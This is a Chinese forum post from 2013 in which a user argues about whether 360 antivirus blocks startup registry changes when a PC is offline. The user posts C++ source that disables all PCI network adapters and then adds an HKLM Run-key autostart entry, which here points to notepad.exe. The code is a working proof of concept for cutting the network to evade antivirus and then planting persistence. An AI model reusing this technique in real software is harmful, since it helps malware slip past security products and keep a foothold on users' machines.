本帖最后由 myzuzong 于 2013-8-23 13:22 编辑
peter08 发表于 2013-8-23 12:41
(其实批处理也不能断网防御。)
你说的是金山吧,我在说360.
不是的,360在断网下不能防御,不论是批处理还是调用cmd。vm001乱说的,你自己测试一下就知道了。你先断网,再运行我的程序,绝不拦截。你先联网,再运行我的程序,由我的程序自动断网,绝对要拦截。
我的程序已修改,现在是自动断网。另外我这就是纯api的纯vc程序,跟cmd毫无关系。不信可见下面源代码。
// Test.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <Setupapi.h>
#include <objbase.h>
#pragma comment(lib, "setupapi")
void EnumDevices(HDEVINFO hDevInfo)
{
SP_DEVINFO_DATA DeviceInfoData = {sizeof(SP_DEVINFO_DATA)};
LPOLESTR guid;
wchar_t devName[128];
wchar_t instanceId[128];
for(int i=0; SetupDiEnumDeviceInfo(hDevInfo, i, &DeviceInfoData); i++)
{
StringFromCLSID(DeviceInfoData.ClassGuid,
&guid);
SetupDiClassNameFromGuid(&DeviceInfoData.ClassGuid,
devName,
128,
NULL);
if(!wcscmp(devName,
L"Net"))
{
SetupDiGetDeviceInstanceId(hDevInfo,
&DeviceInfoData,
instanceId,
128,
NULL);
if(!wcsncmp(instanceId,
L"PCI",
3))
{
SP_PROPCHANGE_PARAMS params = {sizeof(SP_CLASSINSTALL_HEADER)};
params.ClassInstallHeader.InstallFunction = DIF_PROPERTYCHANGE;
params.Scope = DICS_FLAG_CONFIGSPECIFIC;
params.StateChange = DICS_DISABLE;
params.HwProfile = 0;
SetupDiSetClassInstallParams(hDevInfo,
&DeviceInfoData,
(SP_CLASSINSTALL_HEADER *)¶ms,
sizeof(SP_PROPCHANGE_PARAMS));
SetupDiChangeState(hDevInfo,
&DeviceInfoData);
}
}
CoTaskMemFree(guid);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HDEVINFO hDevInfo = INVALID_HANDLE_VALUE;
hDevInfo = SetupDiGetClassDevs(NULL,
NULL,
NULL,
DIGCF_PRESENT | DIGCF_ALLCLASSES);
if(INVALID_HANDLE_VALUE == hDevInfo)
return GetLastError();
EnumDevices(hDevInfo);
SetupDiDestroyDeviceInfoList(hDevInfo);
HKEY hkRun;
wchar_t *lpData = L"C:\\Windows\\System32\\notepad.exe";
if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS,
&hkRun))
{
RegSetValueEx(hkRun,
L"Test",
0,
REG_SZ,
(const BYTE *)lpData,
(lstrlen(lpData)+1)*sizeof(wchar_t));
}
RegCloseKey(hkRun);
return 0;
}
|